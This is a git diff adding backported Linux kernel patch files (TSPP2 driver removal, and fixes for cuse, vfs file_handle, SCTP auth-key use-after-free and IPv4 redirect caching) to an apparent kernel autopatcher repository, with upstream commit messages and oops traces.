event_bitmask) +-{ +- struct tspp2_event_work *work = NULL; +- +- if (!list_empty(&device->free_work_list)) { +- work = list_first_entry(&device->free_work_list, +- struct tspp2_event_work, link); +- list_del(&work->link); +- work->callback = callback; +- work->cookie = cookie; +- work->event_bitmask = event_bitmask; +- queue_work(device->work_queue, &work->work); +- } else { +- pr_warn("%s: No available work element\n", __func__); +- } +-} +- +-/** +- * tspp2_isr() - TSPP2 interrupt handler. +- * +- * @irq: Interrupt number. +- * @dev: TSPP2 device. +- * +- * Handle TSPP2 HW interrupt. Collect relevant statistics and invoke +- * user registered callbacks for global, source or filter events. +- * +- * Return IRQ_HANDLED. +- */ +-static irqreturn_t tspp2_isr(int irq, void *dev) +-{ +- struct tspp2_device *device = dev; +- struct tspp2_src *src = NULL; +- struct tspp2_filter *f = NULL; +- unsigned long ext_reg = 0; +- unsigned long val = 0; +- unsigned long flags; +- u32 i = 0, j = 0; +- u32 global_bitmask = 0; +- u32 src_bitmask[TSPP2_NUM_MEM_INPUTS] = {0}; +- u32 filter_bitmask[TSPP2_NUM_CONTEXTS] = {0}; +- u32 reg = 0; +- +- reg = readl_relaxed(device->base + TSPP2_GLOBAL_IRQ_STATUS); +- +- if (reg & (0x1 << GLOBAL_IRQ_TSP_INVALID_AF_OFFS)) { +- device->irq_stats.global.tsp_invalid_af_control++; +- global_bitmask |= TSPP2_GLOBAL_EVENT_INVALID_AF_CTRL; +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_TSP_INVALID_LEN_OFFS)) { +- device->irq_stats.global.tsp_invalid_length++; +- global_bitmask |= TSPP2_GLOBAL_EVENT_INVALID_AF_LENGTH; +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_PES_NO_SYNC_OFFS)) { +- device->irq_stats.global.pes_no_sync++; +- global_bitmask |= TSPP2_GLOBAL_EVENT_PES_NO_SYNC; +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_ENCRYPT_LEVEL_ERR_OFFS)) +- device->irq_stats.global.encrypt_level_err++; +- +- if (reg & (0x1 << GLOBAL_IRQ_KEY_NOT_READY_OFFS)) { +- ext_reg = readl_relaxed(device->base + +- TSPP2_KEY_NOT_READY_IRQ_STATUS); +- for_each_set_bit(i, &ext_reg, TSPP2_NUM_KEYTABLES) +- device->irq_stats.kt[i].key_not_ready++; +- writel_relaxed(ext_reg, device->base + +- TSPP2_KEY_NOT_READY_IRQ_CLEAR); +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_UNEXPECTED_RESET_OFFS)) { +- ext_reg = readl_relaxed(device->base + +- TSPP2_UNEXPECTED_RST_IRQ_STATUS); +- for_each_set_bit(i, &ext_reg, TSPP2_NUM_PIPES) +- device->irq_stats.pipe[i].unexpected_reset++; +- writel_relaxed(ext_reg, device->base + +- TSPP2_UNEXPECTED_RST_IRQ_CLEAR); +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_WRONG_PIPE_DIR_OFFS)) { +- ext_reg = readl_relaxed(device->base + +- TSPP2_WRONG_PIPE_DIR_IRQ_STATUS); +- for_each_set_bit(i, &ext_reg, TSPP2_NUM_PIPES) +- device->irq_stats.pipe[i].wrong_pipe_direction++; +- writel_relaxed(ext_reg, device->base + +- TSPP2_WRONG_PIPE_DIR_IRQ_CLEAR); +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_QSB_RESP_ERR_OFFS)) { +- global_bitmask |= TSPP2_GLOBAL_EVENT_TX_FAIL; +- ext_reg = readl_relaxed(device->base + +- TSPP2_QSB_RESPONSE_ERROR_IRQ_STATUS); +- for_each_set_bit(i, &ext_reg, TSPP2_NUM_PIPES) +- device->irq_stats.pipe[i].qsb_response_error++; +- writel_relaxed(ext_reg, device->base + +- TSPP2_QSB_RESPONSE_ERROR_IRQ_CLEAR); +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_SC_GO_HIGH_OFFS)) { +- for (j = 0; j < 3; j++) { +- ext_reg = readl_relaxed(device->base + +- TSPP2_SC_GO_HIGH_STATUS(j)); +- for_each_set_bit(i, &ext_reg, 32) { +- filter_bitmask[j*32 + i] |= +- TSPP2_FILTER_EVENT_SCRAMBLING_HIGH; +- device->irq_stats.ctx[j*32 + i].sc_go_high++; +- } +- writel_relaxed(ext_reg, device->base + +- TSPP2_SC_GO_HIGH_CLEAR(j)); +- } +- } +- +- if (reg & (0x1 << GLOBAL_IRQ_SC_GO_LOW_OFFS)) { +- for (j = 0; j < 3; j++) { +- ext_reg = readl_relaxed(device->base + +- TSPP2_SC_GO_LOW_STATUS(j)); +- for_each_set_bit(i, &ext_reg, 32) { +- filter_bitmask[j*32 + i] |= +- TSPP2_FILTER_EVENT_SCRAMBLING_LOW; +- device->irq_stats.ctx[j*32 + i].sc_go_low++; +- } +- writel_relaxed(ext_reg, device->base + +- TSPP2_SC_GO_LOW_CLEAR(j)); +- } +- } +- +- if (reg & (0xFF << GLOBAL_IRQ_READ_FAIL_OFFS)) { +- val = ((reg & (0xFF << GLOBAL_IRQ_READ_FAIL_OFFS)) >> +- GLOBAL_IRQ_READ_FAIL_OFFS); +- for_each_set_bit(i, &val, TSPP2_NUM_MEM_INPUTS) { +- src_bitmask[i] |= TSPP2_SRC_EVENT_MEMORY_READ_ERROR; +- device->irq_stats.src[i].read_failure++; +- } +- } +- +- if (reg & (0xFF << GLOBAL_IRQ_FC_STALL_OFFS)) { +- val = ((reg & (0xFF << GLOBAL_IRQ_FC_STALL_OFFS)) >> +- GLOBAL_IRQ_FC_STALL_OFFS); +- for_each_set_bit(i, &val, TSPP2_NUM_MEM_INPUTS) { +- src_bitmask[i] |= TSPP2_SRC_EVENT_FLOW_CTRL_STALL; +- device->irq_stats.src[i].flow_control_stall++; +- } +- } +- +- spin_lock_irqsave(&device->spinlock, flags); +- +- /* Invoke user callback for global events */ +- if (device->event_callback && (global_bitmask & device->event_bitmask)) +- tspp2_event_work_prepare(device, device->event_callback, +- device->event_cookie, +- (global_bitmask & device->event_bitmask)); +- +- /* Invoke user callbacks on memory source events */ +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) { +- src = &device->mem_sources[i]; +- if (src->event_callback && +- (src_bitmask[src->hw_index] & src->event_bitmask)) +- tspp2_event_work_prepare(device, +- src->event_callback, +- src->event_cookie, +- (src_bitmask[src->hw_index] & +- src->event_bitmask)); +- } +- +- /* Invoke user callbacks on filter events */ +- for (i = 0; i < TSPP2_NUM_AVAIL_FILTERS; i++) { +- f = &device->filters[i]; +- if (f->event_callback && +- (f->event_bitmask & filter_bitmask[f->context])) +- tspp2_event_work_prepare(device, +- f->event_callback, +- f->event_cookie, +- (f->event_bitmask & +- filter_bitmask[f->context])); +- } +- +- spin_unlock_irqrestore(&device->spinlock, flags); +- +- /* +- * Clear global interrupts. Note bits [9:4] are an aggregation of +- * other IRQs, and are reserved in the TSPP2_GLOBAL_IRQ_CLEAR register. +- */ +- reg &= ~(0x0FFF << GLOBAL_IRQ_CLEAR_RESERVED_OFFS); +- writel_relaxed(reg, device->base + TSPP2_GLOBAL_IRQ_CLEAR); +- /* +- * Before returning IRQ_HANDLED to the generic interrupt handling +- * framework, we need to make sure all operations, including clearing of +- * interrupt status registers in the hardware, are performed. +- * Thus a barrier after clearing the interrupt status register +- * is required to guarantee that the interrupt status register has +- * really been cleared by the time we return from this handler. +- */ +- wmb(); +- +- return IRQ_HANDLED; +-} +- +-/** +- * tsif_isr() - TSIF interrupt handler. +- * +- * @irq: Interrupt number. +- * @dev: TSIF device that generated the interrupt. +- * +- * Handle TSIF HW interrupt. Collect HW statistics and, if the user registered +- * a relevant source callback, invoke it. +- * +- * Return IRQ_HANDLED on success, IRQ_NONE on irrelevant interrupts. +- */ +-static irqreturn_t tsif_isr(int irq, void *dev) +-{ +- u32 src_bitmask = 0; +- unsigned long flags; +- struct tspp2_src *src = NULL; +- struct tspp2_tsif_device *tsif_device = dev; +- u32 sts_ctl = 0; +- +- sts_ctl = readl_relaxed(tsif_device->base + TSPP2_TSIF_STS_CTL); +- +- if (!(sts_ctl & (TSIF_STS_CTL_PACK_AVAIL | +- TSIF_STS_CTL_PKT_WRITE_ERR | +- TSIF_STS_CTL_PKT_READ_ERR | +- TSIF_STS_CTL_OVERFLOW | +- TSIF_STS_CTL_LOST_SYNC | +- TSIF_STS_CTL_TIMEOUT))) { +- return IRQ_NONE; +- } +- +- if (sts_ctl & TSIF_STS_CTL_PKT_WRITE_ERR) { +- src_bitmask |= TSPP2_SRC_EVENT_TSIF_PKT_WRITE_ERROR; +- tsif_device->stat_pkt_write_err++; +- } +- +- if (sts_ctl & TSIF_STS_CTL_PKT_READ_ERR) { +- src_bitmask |= TSPP2_SRC_EVENT_TSIF_PKT_READ_ERROR; +- tsif_device->stat_pkt_read_err++; +- } +- +- if (sts_ctl & TSIF_STS_CTL_OVERFLOW) { +- src_bitmask |= TSPP2_SRC_EVENT_TSIF_OVERFLOW; +- tsif_device->stat_overflow++; +- } +- +- if (sts_ctl & TSIF_STS_CTL_LOST_SYNC) { +- src_bitmask |= TSPP2_SRC_EVENT_TSIF_LOST_SYNC; +- tsif_device->stat_lost_sync++; +- } +- +- if (sts_ctl & TSIF_STS_CTL_TIMEOUT) { +- src_bitmask |= TSPP2_SRC_EVENT_TSIF_TIMEOUT; +- tsif_device->stat_timeout++; +- } +- +- /* Invoke user TSIF source callbacks if registered for these events */ +- src = &tsif_device->dev->tsif_sources[tsif_device->hw_index]; +- +- spin_lock_irqsave(&src->device->spinlock, flags); +- +- if (src->event_callback && (src->event_bitmask & src_bitmask)) +- tspp2_event_work_prepare(tsif_device->dev, src->event_callback, +- src->event_cookie, (src->event_bitmask & src_bitmask)); +- +- spin_unlock_irqrestore(&src->device->spinlock, flags); +- +- writel_relaxed(sts_ctl, tsif_device->base + TSPP2_TSIF_STS_CTL); +- /* +- * Before returning IRQ_HANDLED to the generic interrupt handling +- * framework, we need to make sure all operations, including clearing of +- * interrupt status registers in the hardware, are performed. +- * Thus a barrier after clearing the interrupt status register +- * is required to guarantee that the interrupt status register has +- * really been cleared by the time we return from this handler. +- */ +- wmb(); +- +- return IRQ_HANDLED; +-} +- +-/** +- * msm_tspp2_map_irqs() - Get and request IRQs. +- * +- * @pdev: Platform device, containing platform information. +- * @device: TSPP2 device. +- * +- * Helper function to get IRQ numbers from the platform device and request +- * the IRQs (i.e., set interrupt handlers) for the TSPP2 and TSIF interrupts. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int msm_tspp2_map_irqs(struct platform_device *pdev, +- struct tspp2_device *device) +-{ +- int rc; +- int i; +- +- /* get IRQ numbers from platform information */ +- +- rc = platform_get_irq_byname(pdev, "TSPP2"); +- if (rc > 0) { +- device->tspp2_irq = rc; +- } else { +- dev_err(&pdev->dev, "%s: Failed to get TSPP2 IRQ", __func__); +- return -EINVAL; +- } +- +- rc = platform_get_irq_byname(pdev, "TSIF0"); +- if (rc > 0) { +- device->tsif_devices[0].tsif_irq = rc; +- } else { +- dev_err(&pdev->dev, "%s: Failed to get TSIF0 IRQ", __func__); +- return -EINVAL; +- } +- +- rc = platform_get_irq_byname(pdev, "TSIF1"); +- if (rc > 0) { +- device->tsif_devices[1].tsif_irq = rc; +- } else { +- dev_err(&pdev->dev, "%s: Failed to get TSIF1 IRQ", __func__); +- return -EINVAL; +- } +- +- rc = platform_get_irq_byname(pdev, "TSPP2_BAM"); +- if (rc > 0) { +- device->bam_irq = rc; +- } else { +- dev_err(&pdev->dev, +- "%s: Failed to get TSPP2 BAM IRQ", __func__); +- return -EINVAL; +- } +- +- rc = request_irq(device->tspp2_irq, tspp2_isr, IRQF_SHARED, +- dev_name(&pdev->dev), device); +- if (rc) { +- dev_err(&pdev->dev, +- "%s: Failed to request TSPP2 IRQ %d : %d", +- __func__, device->tspp2_irq, rc); +- goto request_irq_err; +- } +- +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) { +- rc = request_irq(device->tsif_devices[i].tsif_irq, +- tsif_isr, IRQF_SHARED, +- dev_name(&pdev->dev), &device->tsif_devices[i]); +- if (rc) { +- dev_warn(&pdev->dev, +- "%s: Failed to request TSIF%d IRQ: %d", +- __func__, i, rc); +- device->tsif_devices[i].tsif_irq = 0; +- } +- } +- +- return 0; +- +-request_irq_err: +- device->tspp2_irq = 0; +- device->tsif_devices[0].tsif_irq = 0; +- device->tsif_devices[1].tsif_irq = 0; +- device->bam_irq = 0; +- +- return -EINVAL; +-} +- +-/* Device driver probe function */ +-static int msm_tspp2_probe(struct platform_device *pdev) +-{ +- int rc = 0; +- struct msm_tspp2_platform_data *data; +- struct tspp2_device *device; +- struct msm_bus_scale_pdata *tspp2_bus_pdata = NULL; +- +- if (pdev->dev.of_node) { +- /* Get information from device tree */ +- data = msm_tspp2_dt_to_pdata(pdev); +- /* get device ID */ +- rc = of_property_read_u32(pdev->dev.of_node, +- "cell-index", &pdev->id); +- if (rc) +- pdev->id = -1; +- +- tspp2_bus_pdata = msm_bus_cl_get_pdata(pdev); +- pdev->dev.platform_data = data; +- } else { +- /* Get information from platform data */ +- data = pdev->dev.platform_data; +- } +- if (!data) { +- pr_err("%s: Platform data not available\n", __func__); +- return -EINVAL; +- } +- +- /* Verify device id is valid */ +- if ((pdev->id < 0) || (pdev->id >= TSPP2_NUM_DEVICES)) { +- pr_err("%s: Invalid device ID %d\n", __func__, pdev->id); +- return -EINVAL; +- } +- +- device = devm_kzalloc(&pdev->dev, +- sizeof(struct tspp2_device), +- GFP_KERNEL); +- if (!device) { +- pr_err("%s: Failed to allocate memory for device\n", __func__); +- return -ENOMEM; +- } +- platform_set_drvdata(pdev, device); +- device->pdev = pdev; +- device->dev = &pdev->dev; +- device->dev_id = pdev->id; +- device->opened = 0; +- +- /* Register bus client */ +- if (tspp2_bus_pdata) { +- device->bus_client = +- msm_bus_scale_register_client(tspp2_bus_pdata); +- if (!device->bus_client) +- pr_err("%s: Unable to register bus client\n", __func__); +- } else { +- pr_err("%s: Platform bus client data not available. Continue anyway...\n", +- __func__); +- } +- +- rc = msm_tspp2_iommu_info_get(pdev, device); +- if (rc) { +- pr_err("%s: Failed to get IOMMU information\n", __func__); +- goto err_bus_client; +- } +- +- rc = msm_tspp2_clocks_setup(pdev, device); +- if (rc) +- goto err_clocks_setup; +- +- rc = msm_tspp2_map_io_memory(pdev, device); +- if (rc) +- goto err_map_io_memory; +- +- rc = msm_tspp2_map_irqs(pdev, device); +- if (rc) +- goto err_map_irq; +- +- mutex_init(&device->mutex); +- +- tspp2_devices[pdev->id] = device; +- +- tspp2_debugfs_init(device); +- +- return rc; +- +-err_map_irq: +- iounmap(device->base); +- iounmap(device->tsif_devices[0].base); +- iounmap(device->tsif_devices[1].base); +- iounmap(device->bam_props.virt_addr); +- +-err_map_io_memory: +- tspp2_clocks_put(device); +- +-err_clocks_setup: +- msm_tspp2_iommu_info_free(device); +- +-err_bus_client: +- if (device->bus_client) +- msm_bus_scale_unregister_client(device->bus_client); +- +- return rc; +-} +- +-/* Device driver remove function */ +-static int msm_tspp2_remove(struct platform_device *pdev) +-{ +- int i; +- int rc = 0; +- struct tspp2_device *device = platform_get_drvdata(pdev); +- +- tspp2_debugfs_exit(device); +- +- if (device->tspp2_irq) +- free_irq(device->tspp2_irq, device); +- +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) +- if (device->tsif_devices[i].tsif_irq) +- free_irq(device->tsif_devices[i].tsif_irq, +- &device->tsif_devices[i]); +- +- /* Unmap memory */ +- iounmap(device->base); +- iounmap(device->tsif_devices[0].base); +- iounmap(device->tsif_devices[1].base); +- iounmap(device->bam_props.virt_addr); +- +- msm_tspp2_iommu_info_free(device); +- +- if (device->bus_client) +- msm_bus_scale_unregister_client(device->bus_client); +- +- mutex_destroy(&device->mutex); +- +- tspp2_clocks_put(device); +- +- return rc; +-} +- +-/* Power Management */ +- +-static int tspp2_runtime_suspend(struct device *dev) +-{ +- int ret = 0; +- struct tspp2_device *device; +- struct platform_device *pdev; +- +- /* +- * HW manages power collapse automatically. +- * Disabling AHB and Core clocsk and "cancelling" bus bandwidth voting. +- */ +- +- pdev = container_of(dev, struct platform_device, dev); +- device = platform_get_drvdata(pdev); +- +- mutex_lock(&device->mutex); +- +- if (!device->opened) +- ret = -EPERM; +- else +- ret = tspp2_reg_clock_stop(device); +- +- mutex_unlock(&device->mutex); +- +- dev_dbg(dev, "%s\n", __func__); +- +- return ret; +-} +- +-static int tspp2_runtime_resume(struct device *dev) +-{ +- int ret = 0; +- struct tspp2_device *device; +- struct platform_device *pdev; +- +- /* +- * HW manages power collapse automatically. +- * Enabling AHB and Core clocks to allow access to unit registers, +- * and voting for the required bus bandwidth for register access. +- */ +- +- pdev = container_of(dev, struct platform_device, dev); +- device = platform_get_drvdata(pdev); +- +- mutex_lock(&device->mutex); +- +- if (!device->opened) +- ret = -EPERM; +- else +- ret = tspp2_reg_clock_start(device); +- +- mutex_unlock(&device->mutex); +- +- dev_dbg(dev, "%s\n", __func__); +- +- return ret; +-} +- +-static const struct dev_pm_ops tspp2_dev_pm_ops = { +- .runtime_suspend = tspp2_runtime_suspend, +- .runtime_resume = tspp2_runtime_resume, +-}; +- +-/* Platform driver information */ +- +-static struct of_device_id msm_tspp2_match_table[] = { +- {.compatible = "qcom,msm_tspp2"}, +- {} +-}; +- +-static struct platform_driver msm_tspp2_driver = { +- .probe = msm_tspp2_probe, +- .remove = msm_tspp2_remove, +- .driver = { +- .name = "msm_tspp2", +- .pm = &tspp2_dev_pm_ops, +- .of_match_table = msm_tspp2_match_table, +- }, +-}; +- +-/** +- * tspp2_module_init() - TSPP2 driver module init function. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int __init tspp2_module_init(void) +-{ +- int rc; +- +- rc = platform_driver_register(&msm_tspp2_driver); +- if (rc) +- pr_err("%s: platform_driver_register failed: %d\n", +- __func__, rc); +- +- return rc; +-} +- +-/** +- * tspp2_module_exit() - TSPP2 driver module exit function. +- */ +-static void __exit tspp2_module_exit(void) +-{ +- platform_driver_unregister(&msm_tspp2_driver); +-} +- +-module_init(tspp2_module_init); +-module_exit(tspp2_module_exit); +- +-MODULE_DESCRIPTION("TSPP2 (Transport Stream Packet Processor v2) platform device driver"); +-MODULE_LICENSE("GPL v2"); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0126-2c5816b4becc-cuse fix memory leak.patch b/recipes-kernel/linux/linux-bass/autopatcher/0126-2c5816b4becc-cuse fix memory leak.patch new file mode 100644 index 0000000..a1cfc51 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0126-2c5816b4becc-cuse fix memory leak.patch @@ -0,0 +1,32 @@ +From 2c5816b4beccc8ba709144539f6fdd764f8fa49c Mon Sep 17 00:00:00 2001 +From: Miklos Szeredi +Date: Tue, 10 Nov 2015 10:32:36 +0100 +Subject: cuse: fix memory leak + +The problem is that fuse_dev_alloc() acquires an extra reference to cc.fc, +and the original ref count is never dropped. + +Reported-by: Colin Ian King +Signed-off-by: Miklos Szeredi +Fixes: cc080e9e9be1 ("fuse: introduce per-instance fuse_dev structure") +Cc: # v4.2+ +--- + fs/fuse/cuse.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/fs/fuse/cuse.c b/fs/fuse/cuse.c +index eae2c11268bc..8e3ee1936c7e 100644 +--- a/fs/fuse/cuse.c ++++ b/fs/fuse/cuse.c +@@ -549,6 +549,8 @@ static int cuse_channel_release(struct inode *inode, struct file *file) + unregister_chrdev_region(cc->cdev->dev, 1); + cdev_del(cc->cdev); + } ++ /* Base reference is now owned by "fud" */ ++ fuse_conn_put(&cc->fc); + + rc = fuse_dev_release(inode, file); /* puts the base reference */ + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0127-8dfc8b9e8432-vfs read filehandle only once in handletopath.patch b/recipes-kernel/linux/linux-bass/autopatcher/0127-8dfc8b9e8432-vfs read filehandle only once in handletopath.patch new file mode 100644 index 0000000..0a29854 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0127-8dfc8b9e8432-vfs read filehandle only once in handletopath.patch @@ -0,0 +1,45 @@ +From 8dfc8b9e8432f50606820b40a7d63618d9d61a07 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Wed, 28 Jan 2015 15:30:43 -0500 +Subject: vfs: read file_handle only once in handle_to_path + +commit 161f873b89136eb1e69477c847d5a5033239d9ba upstream. + +We used to read file_handle twice. Once to get the amount of extra +bytes, and once to fetch the entire structure. + +This may be problematic since we do size verifications only after the +first read, so if the number of extra bytes changes in userspace between +the first and second calls, we'll have an incoherent view of +file_handle. + +Instead, read the constant size once, and copy that over to the final +structure without having to re-read it again. + +Signed-off-by: Sasha Levin +Cc: Al Viro +Signed-off-by: Linus Torvalds +Signed-off-by: Ben Hutchings +--- + fs/fhandle.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/fs/fhandle.c b/fs/fhandle.c +index 6b088641f5bf2..c9e18f3ecc411 100644 +--- a/fs/fhandle.c ++++ b/fs/fhandle.c +@@ -196,8 +196,9 @@ static int handle_to_path(int mountdirfd, struct file_handle __user *ufh, + goto out_err; + } + /* copy the full handle */ +- if (copy_from_user(handle, ufh, +- sizeof(struct file_handle) + ++ *handle = f_handle; ++ if (copy_from_user(&handle->f_handle, ++ &ufh->f_handle, + f_handle.handle_bytes)) { + retval = -EFAULT; + goto out_handle; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0128-727ab4c06af6-net sctp fix slab corruption from use after free on INIT collisions.patch b/recipes-kernel/linux/linux-bass/autopatcher/0128-727ab4c06af6-net sctp fix slab corruption from use after free on INIT collisions.patch new file mode 100644 index 0000000..b7d1e1d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0128-727ab4c06af6-net sctp fix slab corruption from use after free on INIT collisions.patch @@ -0,0 +1,134 @@ +From 727ab4c06af65c1b2313c95dfcd8827318d5a438 Mon Sep 17 00:00:00 2001 +From: Daniel Borkmann +Date: Thu, 22 Jan 2015 18:26:54 +0100 +Subject: net: sctp: fix slab corruption from use after free on INIT collisions + +[ Upstream commit 600ddd6825543962fb807884169e57b580dba208 ] + +When hitting an INIT collision case during the 4WHS with AUTH enabled, as +already described in detail in commit 1be9a950c646 ("net: sctp: inherit +auth_capable on INIT collisions"), it can happen that we occasionally +still remotely trigger the following panic on server side which seems to +have been uncovered after the fix from commit 1be9a950c646 ... + +[ 533.876389] BUG: unable to handle kernel paging request at 00000000ffffffff +[ 533.913657] IP: [] __kmalloc+0x95/0x230 +[ 533.940559] PGD 5030f2067 PUD 0 +[ 533.957104] Oops: 0000 [#1] SMP +[ 533.974283] Modules linked in: sctp mlx4_en [...] +[ 534.939704] Call Trace: +[ 534.951833] [] ? crypto_init_shash_ops+0x60/0xf0 +[ 534.984213] [] crypto_init_shash_ops+0x60/0xf0 +[ 535.015025] [] __crypto_alloc_tfm+0x6d/0x170 +[ 535.045661] [] crypto_alloc_base+0x4c/0xb0 +[ 535.074593] [] ? _raw_spin_lock_bh+0x12/0x50 +[ 535.105239] [] sctp_inet_listen+0x161/0x1e0 [sctp] +[ 535.138606] [] SyS_listen+0x9d/0xb0 +[ 535.166848] [] system_call_fastpath+0x16/0x1b + +... or depending on the the application, for example this one: + +[ 1370.026490] BUG: unable to handle kernel paging request at 00000000ffffffff +[ 1370.026506] IP: [] kmem_cache_alloc+0x75/0x1d0 +[ 1370.054568] PGD 633c94067 PUD 0 +[ 1370.070446] Oops: 0000 [#1] SMP +[ 1370.085010] Modules linked in: sctp kvm_amd kvm [...] +[ 1370.963431] Call Trace: +[ 1370.974632] [] ? SyS_epoll_ctl+0x53f/0x960 +[ 1371.000863] [] SyS_epoll_ctl+0x53f/0x960 +[ 1371.027154] [] ? anon_inode_getfile+0xd3/0x170 +[ 1371.054679] [] ? __alloc_fd+0xa7/0x130 +[ 1371.080183] [] system_call_fastpath+0x16/0x1b + +With slab debugging enabled, we can see that the poison has been overwritten: + +[ 669.826368] BUG kmalloc-128 (Tainted: G W ): Poison overwritten +[ 669.826385] INFO: 0xffff880228b32e50-0xffff880228b32e50. First byte 0x6a instead of 0x6b +[ 669.826414] INFO: Allocated in sctp_auth_create_key+0x23/0x50 [sctp] age=3 cpu=0 pid=18494 +[ 669.826424] __slab_alloc+0x4bf/0x566 +[ 669.826433] __kmalloc+0x280/0x310 +[ 669.826453] sctp_auth_create_key+0x23/0x50 [sctp] +[ 669.826471] sctp_auth_asoc_create_secret+0xcb/0x1e0 [sctp] +[ 669.826488] sctp_auth_asoc_init_active_key+0x68/0xa0 [sctp] +[ 669.826505] sctp_do_sm+0x29d/0x17c0 [sctp] [...] +[ 669.826629] INFO: Freed in kzfree+0x31/0x40 age=1 cpu=0 pid=18494 +[ 669.826635] __slab_free+0x39/0x2a8 +[ 669.826643] kfree+0x1d6/0x230 +[ 669.826650] kzfree+0x31/0x40 +[ 669.826666] sctp_auth_key_put+0x19/0x20 [sctp] +[ 669.826681] sctp_assoc_update+0x1ee/0x2d0 [sctp] +[ 669.826695] sctp_do_sm+0x674/0x17c0 [sctp] + +Since this only triggers in some collision-cases with AUTH, the problem at +heart is that sctp_auth_key_put() on asoc->asoc_shared_key is called twice +when having refcnt 1, once directly in sctp_assoc_update() and yet again +from within sctp_auth_asoc_init_active_key() via sctp_assoc_update() on +the already kzfree'd memory, which is also consistent with the observation +of the poison decrease from 0x6b to 0x6a (note: the overwrite is detected +at a later point in time when poison is checked on new allocation). + +Reference counting of auth keys revisited: + +Shared keys for AUTH chunks are being stored in endpoints and associations +in endpoint_shared_keys list. On endpoint creation, a null key is being +added; on association creation, all endpoint shared keys are being cached +and thus cloned over to the association. struct sctp_shared_key only holds +a pointer to the actual key bytes, that is, struct sctp_auth_bytes which +keeps track of users internally through refcounting. Naturally, on assoc +or enpoint destruction, sctp_shared_key are being destroyed directly and +the reference on sctp_auth_bytes dropped. + +User space can add keys to either list via setsockopt(2) through struct +sctp_authkey and by passing that to sctp_auth_set_key() which replaces or +adds a new auth key. There, sctp_auth_create_key() creates a new sctp_auth_bytes +with refcount 1 and in case of replacement drops the reference on the old +sctp_auth_bytes. A key can be set active from user space through setsockopt() +on the id via sctp_auth_set_active_key(), which iterates through either +endpoint_shared_keys and in case of an assoc, invokes (one of various places) +sctp_auth_asoc_init_active_key(). + +sctp_auth_asoc_init_active_key() computes the actual secret from local's +and peer's random, hmac and shared key parameters and returns a new key +directly as sctp_auth_bytes, that is asoc->asoc_shared_key, plus drops +the reference if there was a previous one. The secret, which where we +eventually double drop the ref comes from sctp_auth_asoc_set_secret() with +intitial refcount of 1, which also stays unchanged eventually in +sctp_assoc_update(). This key is later being used for crypto layer to +set the key for the hash in crypto_hash_setkey() from sctp_auth_calculate_hmac(). + +To close the loop: asoc->asoc_shared_key is freshly allocated secret +material and independant of the sctp_shared_key management keeping track +of only shared keys in endpoints and assocs. Hence, also commit 4184b2a79a76 +("net: sctp: fix memory leak in auth key management") is independant of +this bug here since it concerns a different layer (though same structures +being used eventually). asoc->asoc_shared_key is reference dropped correctly +on assoc destruction in sctp_association_free() and when active keys are +being replaced in sctp_auth_asoc_init_active_key(), it always has a refcount +of 1. Hence, it's freed prematurely in sctp_assoc_update(). Simple fix is +to remove that sctp_auth_key_put() from there which fixes these panics. + +Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") +Signed-off-by: Daniel Borkmann +Acked-by: Vlad Yasevich +Acked-by: Neil Horman +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/associola.c | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/net/sctp/associola.c b/net/sctp/associola.c +index ca4a1a1b8e693..6360a14edeaba 100644 +--- a/net/sctp/associola.c ++++ b/net/sctp/associola.c +@@ -1297,7 +1297,6 @@ void sctp_assoc_update(struct sctp_association *asoc, + asoc->peer.peer_hmacs = new->peer.peer_hmacs; + new->peer.peer_hmacs = NULL; + +- sctp_auth_key_put(asoc->asoc_shared_key); + sctp_auth_asoc_init_active_key(asoc, GFP_ATOMIC); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0129-8c6dafeba6f8-ipv4 try to cache dstentries which would cause a redirect.patch b/recipes-kernel/linux/linux-bass/autopatcher/0129-8c6dafeba6f8-ipv4 try to cache dstentries which would cause a redirect.patch new file mode 100644 index 0000000..5f5f31f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0129-8c6dafeba6f8-ipv4 try to cache dstentries which would cause a redirect.patch @@ -0,0 +1,103 @@ +From 8c6dafeba6f8d1435f05e39142b50bc605f7a91c Mon Sep 17 00:00:00 2001 +From: Hannes Frederic Sowa +Date: Fri, 23 Jan 2015 12:01:26 +0100 +Subject: ipv4: try to cache dst_entries which would cause a redirect + +[ Upstream commit df4d92549f23e1c037e83323aff58a21b3de7fe0 ] + +Not caching dst_entries which cause redirects could be exploited by hosts +on the same subnet, causing a severe DoS attack. This effect aggravated +since commit f88649721268999 ("ipv4: fix dst race in sk_dst_get()"). + +Lookups causing redirects will be allocated with DST_NOCACHE set which +will force dst_release to free them via RCU. Unfortunately waiting for +RCU grace period just takes too long, we can end up with >1M dst_entries +waiting to be released and the system will run OOM. rcuos threads cannot +catch up under high softirq load. + +Attaching the flag to emit a redirect later on to the specific skb allows +us to cache those dst_entries thus reducing the pressure on allocation +and deallocation. + +This issue was discovered by Marcelo Leitner. + +Cc: Julian Anastasov +Signed-off-by: Marcelo Leitner +Signed-off-by: Florian Westphal +Signed-off-by: Hannes Frederic Sowa 